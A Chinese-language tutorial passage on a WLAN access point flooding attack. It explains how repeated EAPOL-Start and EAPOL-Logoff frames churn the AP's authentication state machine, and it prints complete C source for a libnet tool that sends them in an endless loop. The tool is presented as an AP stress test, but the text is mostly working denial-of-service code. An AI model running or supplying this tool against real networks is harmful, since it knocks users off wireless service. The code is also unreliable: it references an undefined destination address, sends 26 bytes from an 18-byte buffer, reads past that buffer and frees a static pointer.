攻击工具的原理是通过不断地向WLAN AP发送EAPOL-Start和EAPOL-Logoff报文,从而使WLAN AP的状态机中频繁刷新网卡的状态。这个测试工具可以用来测试WLAN AP的性能和抗攻击的能力。
程序中除了主函数外,有以下5个函数:
u_char *get_src_mac();
u_char *eapol_create_start_stop_frame(char stst);
char *send_frame(u_char *frame_ptr, int frame_size);
void txStart();
void txLogoff();
其中,get_src_mac()函数的作用是获取本地无线网卡的mac,注意攻击之前无线网卡要连上WLAN AP。eapol_create_start_stop_frame(char stst)函数根据输入参数的不同可以选择构造EAPOL-Start和EAPOL-Logoff报文。send_frame(u_char *frame_ptr, int frame_size)函数负责数据包的发送。void txStart()和void txLogoff()两个函数调用其它函数完成EAPOL-Start和EAPOL-Logoff报文的发送过程。
通过对无线报文进行抓包,可以看到试验的结果如图4-13所示:
图4-13 EAPOL-Start/Logoff报文攻击的过程
从抓包结果可以看出,当无线网卡发送EAPOL-Start报文时,WLAN AP做出了回应EAP-Request。由于不同WLAN AP对报文的响应时间可能不同。因此可以通过调整EAPOL-Start和EAPOL-Logoff报文之间的发送时间来达到最大的测试效果。在这里可以使用Sleep(int n)函数来实现,n的单位为毫秒。
EAPOL-START攻击工具的源代码如下所示:
// EAPOL_START_ATTACK.cpp : Defines the entry point for the console application.
#include "stdafx.h"
#include "stdio.h"
#include <win32/libnet.h>
#define ETH_ADDR_LEN 6
#define EAPOL_START 1
#define EAPOL_LOGOFF 2
typedef unsigned char u_char;
libnet_t *l=NULL;
//得到本地网卡的mac地址
u_char *get_src_mac()
{
u_char *ret_mac=NULL;
struct libnet_ether_addr *e;
e = libnet_get_hwaddr(l);
ret_mac = (u_char *)malloc(ETH_ADDR_LEN);/*分配一块mac地址的存储单元*/
memcpy(ret_mac, e->ether_addr_octet, ETH_ADDR_LEN);
return (u_char *)ret_mac;
}
//构造EAPOL-Start和EAPOL-Logoff报文的函数,当stst的值为EAPOL_START时构造EAPOL-Start报文,当stst的值为EAPOL_LOGOFF时构造的是EAPOL-Logoff函数。
u_char *eapol_create_start_stop_frame(char stst)
{
u_char static * eapol_start;
u_char *src_addr;
eapol_start = (u_char *)malloc(18); //为EAPOL-START报文分配18字节的空间
memcpy(eapol_start, eapol_dst, 6); // 拷贝目的地址
src_addr = get_src_mac();
memcpy(&eapol_start[6], src_addr, 6); //拷贝源地址
free(src_addr);
src_addr = NULL;
eapol_start[12] = 0x88; // 0x888e 是EAPOL帧类型
eapol_start[13] = 0x8e;
eapol_start[14] = 1; // EAPOL的版本
eapol_start[15] = stst; //定义发送的报文类型
eapol_start[16] = 0; // 没有负载.
eapol_start[17] = 0;
return eapol_start;
}
//发送报文的函数,函数的形参是指向一个待发送数据包的指针
char *send_frame(u_char *frame_ptr, int frame_size)
{
if(frame_ptr[23]==0xcd)
frame_ptr[23]=0x00;
int i=0;
if ((i = libnet_write_link(l,frame_ptr,frame_size)) == -1)
return ("Error sending frame");
return NULL;
}
//发送EAPOL-Start报文
void txStart()
{
printf("send txStart/n");
u_char *temp;
temp = eapol_create_start_stop_frame(EAPOL_START);
if (send_frame(temp, 26) == NULL)
printf("send eap_start to link./n");
free(temp);
temp = NULL;
}
//发送EAPOL-Logoff报文
void txLogoff()
{
printf("send txLogoff/n");
u_char *temp;
temp = eapol_create_start_stop_frame(EAPOL_LOGOFF);
send_frame(temp, 18);
free(temp);
temp = NULL;
}
//EAPOL-Start/Logoff攻击工具的主函数
void main(int argc, char** argv)
{
char *device=NULL;
char error_information[LIBNET_ERRBUF_SIZE];
printf("EAPOL_START攻击开始:/n");
while (1) {
l=libnet_init(LIBNET_LINK_ADV,device,error_information);
txStart();
Sleep(10);
txLogoff();
libnet_destroy(l);
Sleep(10);
}
}